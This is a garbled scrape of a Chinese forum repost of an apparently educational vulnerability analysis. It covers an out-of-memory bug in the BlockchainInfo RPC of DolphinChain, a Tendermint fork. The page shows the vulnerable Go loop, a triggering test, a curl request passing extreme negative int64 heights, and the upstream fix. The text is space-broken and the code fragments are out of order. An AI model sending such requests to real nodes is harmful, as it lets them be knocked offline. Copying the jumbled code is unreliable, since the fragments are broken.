[14066] 2019-05-04_海豚链漏洞分析[DC-01]RPC请求因For-loop导致OOM

文档创建者:s7ckTeam
浏览次数:29
最后更新:2025-01-18
2019-05-04_海豚链漏洞分析[DC-01]RPC请求因For-loop导致OOM   [ D C - 0 1 ]   R P C F o r - l o o p O O M F r e e B u f   2 0 1 9 - 0 5 - 0 4   D o l p h i n C h a i n 线 广 线 广 D o l p h i n C h a i n D o l p h i n C h a i n   使   D o l p h i n C h a i n D o l p h i n C h a i n     t e n d e r m i n t   v 0 . 3 1 . 2   ( W A R N I N G :   A L P H A   S O F T W A R E )     t e n d e r m i n t   ( v 1 . 0 . 0 ) D o l p h i n C h a i n 1 0 D o l p h i n C h a i n h t t p : / / d o l p h i n c h a i n . o r g / h t t p s : / / g i t h u b . c o m / X u a n M a o S e c L a b / D o l p h i n C h a i n R P C   F o r - l o o p   O O M   h a c k e r o n e     R P C     B l o c k c h a i n I n f o   r p c / c o r e / b l o c k s . g o   . W E B
m a x H e i g h t   =   c m n . M i n I n t 6 4 ( b l o c k S t o r e . H e i g h t ( ) ,   m a x H e i g h t )   M i n I n t 6 4   使   m a x H e i g h t   f o r   h e i g h t   : =   m a x H e i g h t ;   h e i g h t   > =   m i n H e i g h t ;   h e i g h t - -   { }   f o r - l o o p     9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 7   ( m a x   i n t 6 4 )     b l o c k M e t a s   n i l 使   g o   t e s t   f u n c   B l o c k c h a i n I n f o ( c t x   * r p c t y p e s . C o n t e x t ,   m i n H e i g h t ,   m a x H e i g h t   i n t 6 4 )   ( * c t y p e s . R e s u l t B l o c k c h a i n I n f o ,   e r r o r )   { i f   m i n H e i g h t   = =   0   { m i n H e i g h t   =   1 } i f   m a x H e i g h t   = =   0   { m a x H e i g h t   =   b l o c k S t o r e . H e i g h t ( ) }   e l s e   { m a x H e i g h t   =   c m n . M i n I n t 6 4 ( b l o c k S t o r e . H e i g h t ( ) ,   m a x H e i g h t ) } / /   m a x i m u m   2 0   b l o c k   m e t a s c o n s t   l i m i t   i n t 6 4   =   2 0 m i n H e i g h t   =   c m n . M a x I n t 6 4 ( m i n H e i g h t ,   m a x H e i g h t - l i m i t ) l o g g e r . D e b u g ( " B l o c k c h a i n I n f o H a n d l e r " ,   " m a x H e i g h t " ,   m a x H e i g h t ,   " m i n H e i g h t " ,   m i n H e i g h t ) i f   m i n H e i g h t   >   m a x H e i g h t   { r e t u r n   n i l ,   f m t . E r r o r f ( " m i n   h e i g h t   % d   c a n ' t   b e   g r e a t e r   t h a n   m a x   h e i g h t   % d " ,   m i n H e i g h t ,   m a x H e i g h t ) } b l o c k M e t a s   : =   [ ] * t y p e s . B l o c k M e t a { } f o r   h e i g h t   : =   m a x H e i g h t ;   h e i g h t   > =   m i n H e i g h t ;   h e i g h t - -   {   / /   f o r - l o o p b l o c k M e t a   : =   b l o c k S t o r e . L o a d B l o c k M e t a ( h e i g h t ) b l o c k M e t a s   =   a p p e n d ( b l o c k M e t a s ,   b l o c k M e t a ) } r e t u r n   & c t y p e s . R e s u l t B l o c k c h a i n I n f o { b l o c k S t o r e . H e i g h t ( ) ,   b l o c k M e t a s } ,   n i l } m i n H e i g h t   =   - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 8   ( m i n   i n t 6 4 ) m a x H e i g h t   =   - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 7 8 8   ( m i n H e i g h t   +   2 0 ) / /   X u a n M a o   :   B u g   t e s t f u n c   T e s t B l o c k c h a i n I n f o F o r l o o p ( t   * t e s t i n g . T )   { c o n f i g   : =   c f g . R e s e t T e s t R o o t ( " n o d e _ n o d e _ t e s t " ) d e f e r   o s . R e m o v e A l l ( c o n f i g . R o o t D i r ) / /   c r e a t e   &   s t a r t   n o d e n ,   e r r   : =   D e f a u l t N e w N o d e ( c o n f i g ,   l o g . T e s t i n g L o g g e r ( ) ) r e q u i r e . N o E r r o r ( t ,   e r r ) e r r   =   n . S t a r t ( )         r e q u i r e . N o E r r o r ( t ,   e r r ) c   : =   s t r u c t   { m i n ,   m a x           i n t 6 4 } {
  c r a s h . ( e . g .   1 2 7 . 0 . 0 . 1 : 2 6 6 5 7 )   :   F i x   v 0 . 2 2 . 6     f i l t e r M i n M a x   0 m i n     m a x   m i n     0     1     m a x     0   - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 8 ,   - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 7 8 8 , } B l o c k c h a i n I n f o ( c . m i n , c . m a x ) } c u r l   ' h t t p : / / / b l o c k c h a i n ? m i n H e i g h t = - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 8 & m a x H e i g h t = - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 7 8 8 ' / /   e r r o r   i f   e i t h e r   m i n   o r   m a x   a r e   n e g a t i v e   o r   m i n   <   m a x / /   i f   0 ,   u s e   1   f o r   m i n ,   l a t e s t   b l o c k   h e i g h t   f o r   m a x / /   e n f o r c e   l i m i t . / /   e r r o r   i f   m i n   >   m a x f u n c   f i l t e r M i n M a x ( h e i g h t ,   m i n ,   m a x ,   l i m i t   i n t 6 4 )   ( i n t 6 4 ,   i n t 6 4 ,   e r r o r )   { / /   f i l t e r   n e g a t i v e s i f   m i n   <   0   | |   m a x   <   0   { r e t u r n   m i n ,   m a x ,   f m t . E r r o r f ( " h e i g h t s   m u s t   b e   n o n - n e g a t i v e " ) } / /   a d j u s t   f o r   d e f a u l t   v a l u e s i f   m i n   = =   0   { m i n   =   1 } i f   m a x   = =   0   {
h t t p s : / / g i t h u b . c o m / t e n d e r m i n t / t e n d e r m i n t / b l o b / v 0 . 2 2 . 5 / r p c / c o r e / b l o c k s . g o   I s s u e     :   h t t p s : / / g i t h u b . c o m / t e n d e r m i n t / t e n d e r m i n t / i s s u e s / 2 0 4 9 f i x h t t p s : / / g i t h u b . c o m / t e n d e r m i n t / t e n d e r m i n t / c o m m i t / 8 d c 6 5 5 d a d 2 5 b 0 b 0 4 f 2 7 1 c b 6 6 b a 7 3 f d 5 0 4 d b 3 1 9 5 d * B U G X F r e e B u f . C O M m a x   =   h e i g h t } / /   l i m i t   m a x   t o   t h e   h e i g h t m a x   =   c m n . M i n I n t 6 4 ( h e i g h t ,   m a x ) / /   l i m i t   m i n   t o   w i t h i n   ` l i m i t `   o f   m a x / /   s o   t h e   t o t a l   n u m b e r   o f   b l o c k s   r e t u r n e d   w i l l   b e   ` l i m i t ` m i n   =   c m n . M a x I n t 6 4 ( m i n ,   m a x - l i m i t + 1 ) i f   m i n   >   m a x   { r e t u r n   m i n ,   m a x ,   f m t . E r r o r f ( " m i n   h e i g h t   % d   c a n ' t   b e   g r e a t e r   t h a n   m a x   h e i g h t   % d " ,   m i n ,   m a x ) } r e t u r n   m i n ,   m a x ,   n i l }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则